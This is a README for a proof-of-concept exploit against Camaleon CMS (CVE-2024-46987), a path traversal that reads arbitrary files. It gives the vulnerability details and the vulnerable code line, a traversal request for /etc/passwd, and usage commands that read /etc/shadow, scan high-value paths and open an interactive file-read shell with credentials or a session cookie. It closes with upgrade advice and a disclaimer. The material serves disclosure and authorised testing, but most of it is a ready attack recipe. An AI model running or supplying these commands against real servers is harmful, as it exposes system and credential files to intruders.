blueberryp1ll/cve-2024-46987PoC exploit for CVE-2024-46987 — Camaleon CMS arbitrary path traversal (file read)
| Field | Detail |
|---|
| CVE | CVE-2024-46987 |
| Product | Camaleon CMS |
| Versions | >= 2.8.0, < 2.8.2 (also confirmed on 2.9.0) |
| Type | Path Traversal / Arbitrary File Read (CWE-22) |
| Auth | Required (any low-privilege account) |
| CVSS | 7.7 High — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| Fixed in | 2.8.2 |
MediaController#download_private_file passes params[:file] unsanitised into fetch_file:
# Vulnerable sink
fetch_file("private/#{params[:file]}")
No path normalisation is applied before the value is used with send_file, allowing an authenticated attacker to break out of the private/ directory using ../ sequences and read arbitrary files that the Rails process has permission to access.
Vulnerable endpoint:
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requests librarypip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# Read /etc/passwd (default)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# Read a specific file
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# Scan a list of high-value paths automatically
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# Interactive file-read shell
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# Single file
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# Interactive shell
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
| Flag | Description |
|---|---|
-u | Target base URL |
-U / -P | CMS username and password |
--cookie | Raw cookie string (alternative to credentials) |
-f | File path to read (default: /etc/passwd) |
-d | Traversal depth — number of ../ prepended (default: 10) |
--interesting | Iterate over built-in list of high-value paths |
--interactive | Interactive file-read shell |
--no-verify | Disable TLS certificate verification |
--debug | Verbose output to diagnose auth failures |
/proc pseudo-filesFiles under /proc/self/ (e.g. environ, cmdline) return HTTP 200 but an empty body. This is expected — the kernel reports their size as 0, so Rails' send_file streams nothing. Use regular flat files instead.
Upgrade Camaleon CMS to version 2.8.2 or later. The patch adds proper path normalisation and ensures that the resolved path remains within the intended directory before calling send_file.
Alternatively:
.. sequences.This proof-of-concept is published for educational purposes and to assist security professionals in understanding and reproducing the vulnerability in authorised test environments. The author is not responsible for any misuse. Always obtain explicit written permission before testing systems you do not own.